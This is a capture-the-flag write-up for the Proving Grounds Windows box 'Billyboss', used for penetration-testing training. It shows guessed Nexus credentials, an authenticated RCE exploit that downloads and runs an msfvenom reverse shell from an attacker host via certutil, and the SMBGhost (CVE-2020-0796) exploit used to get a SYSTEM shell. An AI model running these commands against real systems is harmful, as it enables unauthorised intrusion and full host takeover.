# Billyboss Writeup - Proving Grounds

> Intermediate Windows box where a guessed Sonatype Nexus Repository Manager login leads to an authenticated remote code execution exploit, and the unpatched SMBGhost (CVE-2020-0796) SMBv3 kernel exploit then escalates to SYSTEM.

- **URL:** https://hackindex.io/writeups/billyboss
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** rce, sonatype-nexus, smb, privilege-escalation, kernel-exploit, cve-2020-0796
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Billyboss exposes a Sonatype Nexus Repository Manager with a guessable login, vulnerable to an authenticated remote code execution exploit that gives a shell as a low-privileged user. The box has never been patched against SMBGhost (CVE-2020-0796), and a public kernel exploit for that vulnerability escalates to SYSTEM.

## Reconnaissance

### Nmap

Run a simple scan first.

```bash
sudo nmap $TARGET_IP
# PORT     STATE SERVICE
# 21/tcp   open  ftp
# 80/tcp   open  http
# 8081/tcp open  blackice-icecap
```

Port `8081` is the interesting one.

### Sonatype Nexus

Browsing to it shows a Sonatype Nexus install. There are no documented default credentials, but a few educated guesses land on `nexus:nexus`. The interface reports version **3.21.0-05**.

## Exploitation

### Sonatype Nexus authenticated code execution

Version 3.21.0-05 is vulnerable to a public authenticated remote code execution exploit. Generate a reverse shell payload first.

```bash
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
# Payload size: 460 bytes
# Final size of exe file: 7168 bytes
# Saved as: shell.exe
```

Host the payload over HTTP and start a listener.

```bash
sudo python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 ...
```

```bash
nc -lvp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

Set the exploit's target URL and credentials, and use it first to download the payload with `certutil`.

```bash
URL='http://$TARGET_IP:8081'
CMD='cmd.exe /c certutil -urlcache -split -f http://$ATTACKER_IP/shell.exe shell.exe'
USERNAME='nexus'
PASSWORD='nexus'
```

```bash
python exploit.py
# Logging in
# Logged in successfully
# Command executed
```

Re-run the exploit, this time executing the downloaded payload.

```bash
CMD='cmd.exe /c shell.exe'
```

```bash
python exploit.py
# Logging in
# Logged in successfully
# Command executed
```

The listener catches a shell.

```bash
nc -lvp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49883
# C:\Users\nathan\Nexus\nexus-3.21.0-05>whoami
# billyboss\nathan
```

Shell as `nathan`. Check the installed patches for a path to SYSTEM.

## Privilege Escalation

### Installed patches

List the installed KBs.

```powershell
wmic qfe list
# HotFixID    InstalledOn
# KB4552931   5/26/2020
# KB4497165   5/26/2020
# KB4497727   4/1/2019
# KB4537759   5/26/2020
# KB4552152   5/26/2020
# KB4540673   5/27/2020
```

The most recent patch, `KB4540673`, was released in March 2020, just before the SMBv3 compression fix shipped. That makes the box a likely candidate for SMBGhost. Confirm SMB is listening.

```powershell
netstat -ano
# Proto  Local Address          State       PID
# TCP    0.0.0.0:445            LISTENING   4
# TCP    0.0.0.0:8081            LISTENING   2076
```

### SMBGhost (CVE-2020-0796)

Port `445` is open and the patch level matches. Compile the public SMBGhost local privilege escalation exploit, replacing its shellcode with a reverse shell payload generated for a second listener port.

```powershell
certutil -urlcache -split -f http://$ATTACKER_IP/cve-2020-0796-local.exe cve-2020-0796-local.exe
# CertUtil: -URLCache command completed successfully.
```

Start a second listener, then run the compiled exploit.

```bash
nc -lvp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```powershell
cve-2020-0796-local.exe
# -= CVE-2020-0796 LPE =-
# Successfully connected socket descriptor: 216
# Sending SMB negotiation request...
# Found kernel token at 0xffffab002ca2c060
# SEP_TOKEN_PRIVILEGES changed
# Injecting shellcode in winlogon...
# Success! ;)
```

The listener catches a SYSTEM shell.

```bash
nc -lvp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49687
# C:\Windows\system32>whoami
# nt authority\system
```

The SMBv3 compression buffer overflow runs shellcode in `winlogon`, giving a SYSTEM shell.

Related

## References

- [Exploit-DB 49385](https://www.exploit-db.com/exploits/49385) - Sonatype Nexus Repository Manager 3.21.0-05 authenticated remote code execution exploit.
- [CVE-2020-0796 (SMBGhost) exploit](https://github.com/danigargu/CVE-2020-0796) - SMBv3 compression buffer overflow local privilege escalation used for the SYSTEM shell.
- [CVE-2020-0796](https://nvd.nist.gov/vuln/detail/CVE-2020-0796) - NVD entry for the SMBGhost SMBv3 compression vulnerability.